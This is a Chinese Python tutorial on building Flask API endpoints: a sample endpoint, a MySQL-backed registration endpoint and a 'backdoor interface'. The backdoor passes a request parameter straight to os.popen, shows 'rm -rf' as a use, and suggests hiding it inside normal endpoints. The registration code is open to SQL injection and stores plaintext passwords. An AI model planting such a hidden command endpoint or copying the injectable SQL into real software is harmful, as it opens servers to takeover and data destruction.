Python学习之==接口开发
一、开发接口的作用
1、在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功、支付失败。
2、了解接口是如何实现的:数据交互、数据返回
3、开发给别人查看数据,避免其他人直接操作数据库
二、接口开发的步骤
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
三、开发一个简单的接口
1 import flask,json 2 server = flask.Flask(__name__) # 实例化server,把当前这个python文件当作一个服务,__name__代表当前这个python文件 3 @server.route('/index',methods=['get']) # 'index'是接口路径,methods不写,则默认get请求 4 # 装饰器,下面的函数变为一个接口 5 def index(): 6 res = {'msg':'这是我开发的第一个接口','msg_code':'0000'} 7 return json.dumps(res,ensure_ascii=False) 8 # json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False 9 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
运行这段代码,打开浏览器,输入http://127.0.0.1:8888/index,就可以看到如下运行结果:
四、开发一个注册接口
1 import flask,json 2 server = flask.Flask(__name__) 3 @server.route('/reg',methods=['post']) 4 def reg(): 5 username =flask.request.values.get('username') 6 pwd = flask.request.values.get('pwd') 7 if username and pwd: 8 sql = 'select * from my_user where username = "%s";'%username 9 if my_db(sql): 10 res = {'msg':'用户已存在','msg_code':2001} 11 else: 12 insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd) 13 my_db(insert_sql) 14 res = {'msg':'注册成功','msg_code':0000} 15 else: 16 res = {'msg':'必填字段未填,请查看接口文档!','msg_code':1001} 17 return json.dumps(res,ensure_ascii=False) 18 19 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 20 # debug=True,改了代码后,不用重启,它会自动重启 21 # 'host='0.0.0.0'别人可以通过IP访问
my_db()为另外封装的函数,应放在接口上面,具体代码如下:
1 def my_db(sql): 2 import pymysql 3 coon = pymysql.connect( 4 host='192.168.1.112', user='test', passwd='111111', 5 port=3306, db='test', charset='utf8') 6 cur = coon.cursor() #建立游标 7 cur.execute(sql)#执行sql 8 if sql.strip()[:6].upper()=='SELECT': 9 res = cur.fetchall() 10 else: 11 coon.commit() 12 res = 'ok' 13 cur.close() 14 coon.close() 15 return res
使用postman测试结果如下:
五、后门接口
1 import os 2 @server.route('/error',methods=['get']) 3 def cmd(): 4 cmd = flask.request.values.get('cmd') # 接口入参 5 res = os.popen(cmd) # 执行用户命令 6 return res.read() # 返回执行结果 7 # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件 8 # 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口 9 # 默认可以不传,一但传了再res = os.popen(cmd) 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
一个接口文件中可以包含多个接口,只要接口路径不一致即可。但是server.run()一定要放到所有接口最底下,否则,在server.run()下面的接口是不会被运行的。
转载于:https://www.cnblogs.com/L-Test/p/9202868.html
Python学习之==接口开发相关推荐
- 微软400集python课程-最强福利——来自微软的Python学习教程(开发指南)
各位小伙伴们,大家有多久没有发现柳猫这么勤奋的更新啦~ 今天给小伙伴们带来微软的官方福利,你没看错,就是来自微软的官方Python学习教程(开发指南)~ 之前微软上线过一套 Python 教程< ...
- 微软 python教程_最强福利——来自微软的Python学习教程(开发指南)
各位小伙伴们,大家有多久没有发现柳猫这么勤奋的更新啦~ 今天给小伙伴们带来微软的官方福利,你没看错,就是来自微软的官方Python学习教程(开发指南)~ 之前微软上线过一套 Python 教程< ...
- 12月15-16日:跟着猫叔写代码学习api接口开发小程序
猫叔博客地址:fast-小程序:todolist项目文档汇总 - 猫叔饭-写代码的猫叔个人博客 视频地址:todolist实战课程-fastadmin结合微信小程序开发实例 api接口开发和对接_哔哩 ...
- “Python学习”以及“人工智能开发”常用单词总结
在学习python语言或者从事人工智能开发时,经常会看到很多熟悉而又陌生的单词,今天博主把自己在开发过程中认为常见的单词(包括了读音和意义)给大家做了总结,有不到的地方还请大家斧正. 具体内容如下: ...
- python中restful接口开发实例_Python RESTful接口开发02
什么是RESTful RESTful是一种设计思想,一种风格. RESTful主要包括 资源 和 对资源的操作. 资源: 对实体的抽象,图书.音乐.电影.学生等都属于资源. 对资源的操作: ===== ...
- Python学习笔记3-Python开发工具
通常情况下,为了提高开发效率,需要使用相应的开发工具.进行Python开发也可以使用开发工具.下面将详细介绍Python自带的IDLE和常用的第三方开发工具. 1 使用自带的IDLE 在安装Pyth ...
- python连接微信接口开发教程_Python调用微信公众平台接口操作示例
本文实例讲述了Python调用微信公众平台接口操作.分享给大家供大家参考,具体如下: 这里使用的是Django,其他类似 # coding=utf-8 from django.http import ...
- python链接微信接口开发教程_Python调用微信公众平台接口操作示例
本文实例讲述了Python调用微信公众平台接口操作.分享给大家供大家参考,具体如下: 这里使用的是Django,其他类似 # coding=utf-8 from django.http import ...
- python --- 短信接口开发手机验证码发送
现在网络环境下,基本上任何网站注册都会验证手机号,已达到防止机器人注册的目的.除此之外短信群发,查询回复,找回密码等相关功能也需要短信验证码功能.那么网站的验证码发送是如何实现的呢?现在我们学习一下( ...
- php接口调用实例源代码,小蚂蚁学习APP接口开发(7)—— APP接口实例——读取缓存方式开发APP接口的代码案例...
从数据库中直接读取数据,虽然时效性很强,但是对数据库造成很大压力,尤其是在高访问量的情况下.这时候可以通过缓存,来有效的缓解了这一压力,虽然时效性有些不足,但是服务器的抗压能力却达到了很大的提高. 读 ...
最新文章
- 请收藏!新型冠状病毒感染的肺炎防控知识手册.pdf
- 前方高能:1024程序员节读书攻略来来来来啦!
- 关于英伟达数字人文章的致歉和说明
- 一只快乐的野指针_野酸枣
- 路径前缀是什么意思_Trie 树是什么样的数据结构?有哪些应用场景?
- 分享十二本经典电子书,涉及java, OO design, spring, hibernate,struts2, agile
- object c小代码——日期篇
- Octave GNU默认配置文件位置
- 步进电机、伺服电机、舵机的原理和区别
- 挂牌!迎来【济南网络空间安全山东省实验室】等三所实验室!
- 可编辑表格TableCell
- Android 安卓动画 属性动画 - 旋转动画
- appium解决socket hang up,正确解决姿势
- 谱归一化(Spectral Normalization)的理解
- 完全平方数(c++基础)
- dhcp租约(dhcp租约时间可设置为永久吗)
- java mp4 视频时间戳_如何在MP4视频文件上批量修改时间戳记元数据
- 基于51单片机和红外漫反射传感器的久坐提醒神器(番茄钟)的设计
- Thunderhead Engineering PyroSim 2015.2.0604 Win64 1CD火灾消防动态模拟
- log4j使用配置错误记录
热门文章
- 什么是依赖,什么是抽象
- 传世经典书丛-UNIX编程艺术
- 什么是异构数据库?它和分布式数据库的联系是什么?
- Django项目实践2 - Django模板语言(常用语法规则)
- 【pandas】column变index,dataframe转置
- linux下用c语言写黄金矿工,c语言课程设计黄金矿工(提高篇)
- linux下下载fnl数据,NCEP再分析资料FNL数据在windows平台用cygwin批量下载方法
- 微型计算机断电后信息将会丢失,2011年计算机基础知识精选部分及答案三
- 《Android音视频开发》— Android 书籍
- JSP的注释、表达式、注意事项